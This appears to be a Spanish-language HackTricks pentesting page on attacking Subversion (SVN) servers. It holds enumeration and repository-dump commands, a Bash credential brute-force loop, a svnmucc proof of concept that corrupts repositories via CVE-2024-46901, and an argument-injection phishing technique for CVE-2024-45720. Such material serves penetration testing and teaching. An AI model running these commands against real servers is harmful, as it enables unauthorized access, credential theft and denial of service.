3690/tcp - Pentesting Subversion (SVN) Servidor

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

Subversion (SVN) es un sistema de control de versiones centralizado (licencia Apache) usado para el versionado de software y el control de revisiones.

Puerto predeterminado: 3690/tcp (svnserve). También puede exponerse vía HTTP/HTTPS a través de mod_dav_svn y vía svn+ssh.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

Enumeración

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

Autenticación y búsqueda de misconfiguraciones

  • svnserve.conf may allow anon-access = read (or even write). Si puedes listar, intenta checkout para volcar secretos, scripts, CI tokens.
  • Los repositorios frecuentemente almacenan pipelines de compilación, claves de despliegue y credenciales de base de datos en archivos de configuración versionados. Revisa la copia de trabajo tras el checkout: grep -R "password\|secret\|token" -n ..
  • Si svn+ssh está habilitado, los shells de usuario suelen permitir comandos svnserve restringidos; intenta ssh user@host svnserve -t con subcomandos diseñados para bypass wrappers.

Fuerza bruta de credenciales (svnserve)

SASL authentication (if enabled) and simple password files are protected only by the transport; no lockout by default. Un bucle rápido en Bash puede probar credenciales:

for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done

Vulnerabilidades recientes (impacto práctico)

mod_dav_svn DoS mediante caracteres de control (CVE-2024-46901)

  • Un usuario con permisos de commit puede escribir una ruta que contenga caracteres de control (p. ej. \x01, \x7f) que corrompe el repositorio, haciendo que posteriores checkouts/logs fallen y potencialmente provoquen que los workers de mod_dav_svn se bloqueen.
  • Afecta a Subversion ≤ 1.14.4 cuando se sirve a través de HTTP(S) (mod_dav_svn). Corregido en 1.14.5.
  • PoC de commit con svnmucc (requiere credenciales de commit válidas):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • Después del commit, los clientes normales pueden bloquearse o rechazar actualizaciones hasta que los administradores eliminen manualmente la revisión con svnadmin dump/filter/load.

Inyección de argumentos en cliente svn en Windows (CVE-2024-45720)

  • En Windows, la codificación de caracteres “best-fit” en svn.exe permite la inyección de argumentos de línea de comandos al procesar rutas/URLs no ASCII especialmente manipuladas, lo que puede llevar a la ejecución arbitraria de programas.
  • Afecta a Subversion ≤ 1.14.3 solo en Windows; corregido en 1.14.4. Superficie de ataque: phishing a un desarrollador para que ejecute svn en una URL/ruta controlada por el atacante.
  • Pentest angle: si controlas un recurso compartido de red o un ZIP entregado a un dev de Windows, nombra una URL de repo o una ruta de working-copy que contenga bytes best-fit que decodifiquen en argumentos inyectados del estilo " & calc.exe & ", y luego engaña a la víctima para que ejecute svn status o similar en esa ruta.

Notas para el flujo de trabajo de explotación

  1. Comprueba el método de acceso: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), o svn+ssh://.
  2. Try anonymous read primero; luego spray common creds. Si se usa HTTP Basic, reutiliza creds encontradas en otros sitios.
  3. Enumerate hooks: los scripts hooks/pre-commit y post-commit a veces contienen credenciales en texto claro o nombres de host.
  4. Leverage svn:externals para traer rutas adicionales desde otros hosts; listálas con svn propget svn:externals -R . después del checkout.
  5. Version leaks: Los encabezados de respuesta HTTP de mod_dav_svn normalmente muestran la versión de Subversion y Apache; compáralas con 1.14.5 para detectar objetivos vulnerables.
  6. Si obtienes acceso al sistema de ficheros del repo, svnadmin dump/svnlook author/svnlook dirs-changed permiten análisis offline sin necesidad de credenciales.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks